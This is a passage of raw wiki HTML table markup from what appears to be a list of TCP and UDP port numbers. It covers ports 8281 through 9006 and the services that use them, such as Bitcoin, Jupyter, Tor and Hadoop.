title=\"Apache Synapse\">Apache Synapse</a><sup id=\"cite_ref-Apache_Synapse_300-1\" class=\"reference\"><a href=\"#cite_note-Apache_Synapse-300\">&#91;298&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8281</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>HTTP Listener for Gatecraft Plugin\n</td></tr>\n<tr>\n<td>8291</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Winbox—Default on a MikroTik RouterOS for a Windows application used to administer MikroTik RouterOS<sup id=\"cite_ref-302\" class=\"reference\"><a href=\"#cite_note-302\">&#91;300&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8303</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Teeworlds\" title=\"Teeworlds\">Teeworlds</a> Server\n</td></tr>\n<tr>\n<td>8332</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bitcoin\" title=\"Bitcoin\">Bitcoin</a> <a href=\"/wiki/JSON-RPC\" title=\"JSON-RPC\">JSON-RPC</a> server<sup id=\"cite_ref-303\" class=\"reference\"><a href=\"#cite_note-303\">&#91;301&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">8333\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bitcoin\" title=\"Bitcoin\">Bitcoin</a><sup id=\"cite_ref-ReferenceA_304-0\" class=\"reference\"><a href=\"#cite_note-ReferenceA-304\">&#91;302&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VMware\" title=\"VMware\">VMware</a> VI Web Access via HTTPS<sup id=\"cite_ref-vmware-server-2.0-rc2-releasenotes_299-1\" class=\"reference\"><a href=\"#cite_note-vmware-server-2.0-rc2-releasenotes-299\">&#91;297&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8334</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Filestash&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Filestash (page does not exist)\">Filestash</a> server (default) <sup id=\"cite_ref-305\" class=\"reference\"><a href=\"#cite_note-305\">&#91;303&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8337</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>VisualSVN Distributed File System Service (VDFS)<sup id=\"cite_ref-306\" class=\"reference\"><a href=\"#cite_note-306\">&#91;304&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8384</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Syncthing\" title=\"Syncthing\">Syncthing</a> web GUI\n</td></tr>\n<tr>\n<td>8388</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Shadowsocks\" title=\"Shadowsocks\">Shadowsocks</a> proxy server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (September 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8400</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"https://documentation.commvault.com/commvault/v11/article?p=8572.htm\">Commvault Communications Service</a> (GxCVD, found in all client computers)\n</td></tr>\n<tr>\n<td>8401</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Commvault Server Event Manager (GxEvMgrS, available in CommServe)\n</td></tr>\n<tr>\n<td>8403</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Commvault Firewall (GxFWD, tunnel port for HTTP/HTTPS)\n</td></tr>\n<tr>\n<td rowspan=\"5\">8443\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SW_Soft_Plesk\" class=\"mw-redirect\" title=\"SW Soft Plesk\">SW Soft Plesk</a> Control Panel\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Tomcat\" title=\"Apache Tomcat\">Apache Tomcat</a> SSL\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Promise WebPAM SSL\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ICal\" class=\"mw-redirect\" title=\"ICal\">iCal</a> over <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a><sup id=\"cite_ref-apple-kb-HT202944_11-74\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=MineOs&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"MineOs (page does not exist)\">MineOs</a> WebUi\n</td></tr>\n<tr>\n<td>8444</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bitmessage\" title=\"Bitmessage\">Bitmessage</a>\n</td></tr>\n<tr>\n<td>8448</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Matrix homeserver federation over HTTPS<sup id=\"cite_ref-matrix-homeserver_285-1\" class=\"reference\"><a href=\"#cite_note-matrix-homeserver-285\">&#91;283&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8484</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MapleStory\" title=\"MapleStory\">MapleStory</a> Login Server\n</td></tr>\n<tr>\n<td>8500</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Adobe_ColdFusion\" title=\"Adobe ColdFusion\">Adobe ColdFusion</a> built-in web server<sup id=\"cite_ref-adobe-help-cf10-admin_307-0\" class=\"reference\"><a href=\"#cite_note-adobe-help-cf10-admin-307\">&#91;305&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8530</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Server_Update_Services\" title=\"Windows Server Update Services\">Windows Server Update Services</a> over <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a>, when using the default role installation settings in Windows Server 2012 and later versions.<sup id=\"cite_ref-msft-tn-bb693717_308-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-bb693717-308\">&#91;306&#93;</a></sup><sup id=\"cite_ref-msft-tn-hh852346_309-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-hh852346-309\">&#91;307&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8531</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Server_Update_Services\" title=\"Windows Server Update Services\">Windows Server Update Services</a> over <a href=\"/wiki/HTTPS\" title=\"HTTPS\">HTTPS</a>, when using the default role installation settings in Windows Server 2012 and later versions.<sup id=\"cite_ref-msft-tn-bb693717_308-1\" class=\"reference\"><a href=\"#cite_note-msft-tn-bb693717-308\">&#91;306&#93;</a></sup><sup id=\"cite_ref-msft-tn-hh852346_309-1\" class=\"reference\"><a href=\"#cite_note-msft-tn-hh852346-309\">&#91;307&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8555</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Symantec DLP OCR Engine <sup id=\"cite_ref-SymantecDLP_OCREngine_310-0\" class=\"reference\"><a href=\"#cite_note-SymantecDLP_OCREngine-310\">&#91;308&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8580</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Freegate\" title=\"Freegate\">Freegate</a>, an Internet <a href=\"/wiki/Anonymizer\" class=\"mw-redirect\" title=\"Anonymizer\">anonymizer</a> and proxy tool<sup id=\"cite_ref-flossmanuals-bypasscensor-freegate_311-0\" class=\"reference\"><a href=\"#cite_note-flossmanuals-bypasscensor-freegate-311\">&#91;309&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8629</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Tibero database<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8642</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Lotus_Notes_Traveler\" class=\"mw-redirect\" title=\"IBM Lotus Notes Traveler\">Lotus Notes Traveler</a> auto synchronization for Windows Mobile and Nokia devices<sup id=\"cite_ref-ibm-support-lnt851-planning-net_312-0\" class=\"reference\"><a href=\"#cite_note-ibm-support-lnt851-planning-net-312\">&#91;310&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8691</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ultra_Fractal\" title=\"Ultra Fractal\">Ultra Fractal</a>, a <a href=\"/wiki/Fractal\" title=\"Fractal\">fractal</a> generation and rendering <a href=\"/wiki/Graphic_art_software\" title=\"Graphic art software\">software application</a> – distributed calculations over networked computers<sup id=\"cite_ref-ultrafractal_313-0\" class=\"reference\"><a href=\"#cite_note-ultrafractal-313\">&#91;311&#93;</a></sup><sup id=\"cite_ref-ultrafractal-help-network-servers_314-0\" class=\"reference\"><a href=\"#cite_note-ultrafractal-help-network-servers-314\">&#91;312&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8765</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Default port of a local GUN relay peer that the <a href=\"/wiki/Internet_Archive\" title=\"Internet Archive\">Internet Archive</a><sup id=\"cite_ref-315\" class=\"reference\"><a href=\"#cite_note-315\">&#91;313&#93;</a></sup> and others use as a decentralized mirror for censorship resistance.<sup id=\"cite_ref-316\" class=\"reference\"><a href=\"#cite_note-316\">&#91;314&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8767</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Voice channel of <a href=\"/wiki/TeamSpeak_2\" class=\"mw-redirect\" title=\"TeamSpeak 2\">TeamSpeak 2</a>,<sup id=\"cite_ref-tsusa-kb-ts2-ports_317-0\" class=\"reference\"><a href=\"#cite_note-tsusa-kb-ts2-ports-317\">&#91;315&#93;</a></sup> a proprietary <a href=\"/wiki/Voice_over_IP\" title=\"Voice over IP\">Voice over IP</a> protocol targeted at <a href=\"/wiki/Gamer\" title=\"Gamer\">gamers</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8834</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Nessus_(software)\" title=\"Nessus (software)\">Nessus</a>, a <a href=\"/wiki/Vulnerability_scanner\" title=\"Vulnerability scanner\">vulnerability scanner</a> – remote <a href=\"/wiki/XML-RPC\" title=\"XML-RPC\">XML-RPC</a> web server<sup id=\"cite_ref-tenable-docs-nessus68-usermanual_318-0\" class=\"reference\"><a href=\"#cite_note-tenable-docs-nessus68-usermanual-318\">&#91;316&#93;</a></sup><sup class=\"noprint Inline-Template noprint Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Independent_sources\" title=\"Wikipedia:Independent sources\"><span title=\"This reference is likely both self-published and has apparent conflict of interest. (October 2016)\">third-party source needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8840</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Opera_Unite&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Opera Unite (page does not exist)\">Opera Unite</a>, an extensible <a href=\"/wiki/Software_framework\" title=\"Software framework\">framework</a> for web applications<sup id=\"cite_ref-computerworld-article-2525727_319-0\" class=\"reference\"><a href=\"#cite_note-computerworld-article-2525727-319\">&#91;317&#93;</a></sup><sup id=\"cite_ref-lifehacker-5472050_320-0\" class=\"reference\"><a href=\"#cite_note-lifehacker-5472050-320\">&#91;318&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">8880\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Alternate port of <a href=\"/wiki/CDDB\" title=\"CDDB\">CDDB</a> (Compact Disc Database) protocol, used to look up audio CD (<a href=\"/wiki/Compact_disc\" title=\"Compact disc\">compact disc</a>) information over the <a href=\"/wiki/Internet\" title=\"Internet\">Internet</a>.<sup id=\"cite_ref-ccdb-howto.txt_321-0\" class=\"reference\"><a href=\"#cite_note-ccdb-howto.txt-321\">&#91;319&#93;</a></sup> See also port 888.\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_WebSphere_Application_Server\" title=\"IBM WebSphere Application Server\">IBM WebSphere Application Server</a> <a href=\"/wiki/SOAP\" title=\"SOAP\">SOAP</a> connector<sup id=\"cite_ref-ibm-support-websphere-express8-portnumber_322-0\" class=\"reference\"><a href=\"#cite_note-ibm-support-websphere-express8-portnumber-322\">&#91;320&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8883</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Secure <a href=\"/wiki/MQTT\" title=\"MQTT\">MQTT</a> (MQTT over TLS)<sup id=\"cite_ref-mqtt-faq_323-0\" class=\"reference\"><a href=\"#cite_note-mqtt-faq-323\">&#91;321&#93;</a></sup><sup id=\"cite_ref-oasisopen-docs-mqtt-v3.1.1-spec_324-0\" class=\"reference\"><a href=\"#cite_note-oasisopen-docs-mqtt-v3.1.1-spec-324\">&#91;322&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8887</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/HyperVM\" title=\"HyperVM\">HyperVM</a> over HTTP<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"4\">8888\n</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>HyperVM over <a href=\"/wiki/HTTPS\" title=\"HTTPS\">HTTPS</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Freenet\" title=\"Freenet\">Freenet</a> web UI (localhost only)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/IPython\" title=\"IPython\">IPython</a><sup id=\"cite_ref-ipython-doc-3-notebook-server_325-0\" class=\"reference\"><a href=\"#cite_note-ipython-doc-3-notebook-server-325\">&#91;323&#93;</a></sup> / <a href=\"/wiki/Jupyter\" class=\"mw-redirect\" title=\"Jupyter\">Jupyter</a><sup id=\"cite_ref-jyputer-docs-running-notebook_326-0\" class=\"reference\"><a href=\"#cite_note-jyputer-docs-running-notebook-326\">&#91;324&#93;</a></sup> notebook dashboards\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MAMP\" title=\"MAMP\">MAMP</a><sup id=\"cite_ref-osxdaily-mamp_327-0\" class=\"reference\"><a href=\"#cite_note-osxdaily-mamp-327\">&#91;325&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8889</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>MAMP<sup id=\"cite_ref-osxdaily-mamp_327-1\" class=\"reference\"><a href=\"#cite_note-osxdaily-mamp-327\">&#91;325&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8920</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Jellyfin\" title=\"Jellyfin\">Jellyfin</a> HTTPS port<sup id=\"cite_ref-:1_295-1\" class=\"reference\"><a href=\"#cite_note-:1-295\">&#91;293&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8983</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Solr\" title=\"Apache Solr\">Apache Solr</a><sup id=\"cite_ref-apache-solr-6_6-running-solr_328-0\" class=\"reference\"><a href=\"#cite_note-apache-solr-6_6-running-solr-328\">&#91;326&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8997</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Alternate port for <a href=\"/wiki/I2P\" title=\"I2P\">I2P</a> Monotone Proxy<sup id=\"cite_ref-geti2p-ports_177-1\" class=\"reference\"><a href=\"#cite_note-geti2p-ports-177\">&#91;175&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8998</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>I2P Monotone Proxy<sup id=\"cite_ref-geti2p-ports_177-2\" class=\"reference\"><a href=\"#cite_note-geti2p-ports-177\">&#91;175&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8999</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Alternate port for I2P Monotone Proxy<sup id=\"cite_ref-geti2p-ports_177-3\" class=\"reference\"><a href=\"#cite_note-geti2p-ports-177\">&#91;175&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"9\">9000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SonarQube\" title=\"SonarQube\">SonarQube</a> Web Server<sup id=\"cite_ref-329\" class=\"reference\"><a href=\"#cite_note-329\">&#91;327&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ClickHouse\" title=\"ClickHouse\">ClickHouse</a> default port\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DBGp\" title=\"DBGp\">DBGp</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SqueezeCenter\" class=\"mw-redirect\" title=\"SqueezeCenter\">SqueezeCenter</a> web server &amp; streaming\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/UDPCast\" title=\"UDPCast\">UDPCast</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Play_Framework\" title=\"Play Framework\">Play Framework</a> web server<sup id=\"cite_ref-playframeworkdocumentation_330-0\" class=\"reference\"><a href=\"#cite_note-playframeworkdocumentation-330\">&#91;328&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Hadoop_Distributed_File_System\" class=\"mw-redirect\" title=\"Hadoop Distributed File System\">Hadoop</a> NameNode default port\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PHP-FPM\" class=\"mw-redirect\" title=\"PHP-FPM\">PHP-FPM</a> default port\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/QBittorrent\" title=\"QBittorrent\">QBittorrent</a>'s embedded torrent tracker default port<sup id=\"cite_ref-331\" class=\"reference\"><a href=\"#cite_note-331\">&#91;329&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"6\">9001\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ETL Service Manager<sup id=\"cite_ref-332\" class=\"reference\"><a href=\"#cite_note-332\">&#91;330&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_SharePoint\" class=\"mw-redirect\" title=\"Microsoft SharePoint\">Microsoft SharePoint</a> authoring environment\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>cisco-xremote router configuration<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tor_(anonymity_network)\" class=\"mw-redirect\" title=\"Tor (anonymity network)\">Tor</a> network default\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DBGp\" title=\"DBGp\">DBGp</a> Proxy\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/HSQLDB\" title=\"HSQLDB\">HSQLDB</a> default port\n</td></tr>\n<tr>\n<td>9002</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Newforma Server comms\n</td></tr>\n<tr>\n<td rowspan=\"2\">9006\n</td>\n<td colspan=\"4\" data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; 